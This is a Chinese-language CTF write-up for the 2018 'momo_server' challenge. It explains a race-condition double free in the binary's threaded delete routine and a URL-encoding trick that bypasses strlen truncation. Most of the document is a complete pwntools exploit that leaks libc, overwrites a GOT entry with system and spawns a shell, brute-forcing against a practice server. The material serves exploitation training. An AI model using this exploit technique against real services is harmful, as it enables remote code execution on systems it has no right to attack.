骇极杯_2018_momo_server(条件竞争UAF)
首先,检查一下程序的保护机制
然后,我们用IDA分析一下
Count功能开启了一个线程
该线程会异步进行堆的free操作,其中注意到free(ptr[i]->name)后,没有将name指针清零,并且该循环尾部会休眠1s。
结尾会将ptr指针清零
在add函数中,如果name已存在,那么仅更新count和flag。
因此,我们在ptr[i]被清零之前,通过add更新count和flag,这样,name就会被二次free,也就是存在条件竞争double free漏洞。
通过实验,发现在线程里调用free释放主线程里的堆后,只有当线程结束以后,堆chunk才会被放到主线程的arena里,并且不会放到tcache bin里,而是直接放到其他bin里。因此,我们可以构造fastbin的double free。
Add功能中,malloc的大小是解码前的数据大小,而复制的大小则是解码后的字符串计算长度。因此,将\x00数据进行URL编码,从而可以绕过第一次strlen计算的\0截断问题。
Echo功能可以用来泄露栈上的数据,但是本地栈和远程栈有些不一样,因此,我们猜测远程的数据为libc中的某个地址,然后通过多次枚举爆破,可以得到远程的libc地址。
爆破
#coding:utf8
from pwn import *
import urllib
libc = ELF('./libc-2.27.so')
#context.log_level = 'debug'
def add(content,count):
payload = 'POST /add Connection: keep-alive\n\n'
payload += 'memo=' + content + '&count=' + str(count)
sh.sendline(payload)
sh.recvuntil('{"status":"ok"}')
def delete():
payload = 'POST /count Connection: keep-alive\n\n'
sh.sendline(payload)
sh.recvuntil('{"status":"ok"}')
def show():
payload = 'GET /list Connection: keep-alive\n\n'
sh.sendline(payload)
sh.recvuntil('Content-Type: text/html')
def echo(content):
payload = 'POST /echo Connection: keep-alive\n\n'
payload += 'content=' + content
sh.send(payload)
def exploit(x):
echo('a'*0x38)
sh.recvuntil('a'*0x38)
offset = (x << 12) + 0x9d0
libc_base = u64(sh.recvuntil('"}',drop = True).ljust(8,'\x00')) - offset
if libc_base >> 40 != 0x7F:
raise Exception('leak error!')
system_addr = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
add('a'*0x30,1)
add('b'*0x30,1)
add('c'*0x30,1)
add('d'*0x40,3)
#条件竞争UAF
delete()
sleep(2)
show()
sh.recvuntil('count</th></tr><tr><td></td><td>0</td></tr><tr><td>')
name = sh.recvuntil('</td>',drop = True)
heap_addr = u64(name.ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
#条件竞争double free
add(name,1)
fake_chunk_got = 0x000000000060306A
#确保线程结束
sleep(3)
#通过URL编码,是的0x000000000060306A变成16进制字符串的形式,从而不会截断
add(urllib.quote(p32(0x60306A).ljust(0x30, 'a')),0x100)
add('a'*0x30,0x100)
add('b'*0x30,0x100)
payload = 'c'*0x16 + urllib.quote(p64(system_addr))
payload = payload.ljust(0x30,'c')
add(payload,0x100)
sh.send('/bin/sh\x00')
sh.interactive()
for x in range(0xFF):
print 'x=',hex(x)
while True:
try:
global sh
sh = remote('node3.buuoj.cn',25344) #远程最终爆破出x = 0x11
#sh = process('./2018_momo_server',env = {'LD_PRELOAD':'./libc-2.27.so'})
exploit(x)
break
except Exception as e:
print 'trying...'
sh.close()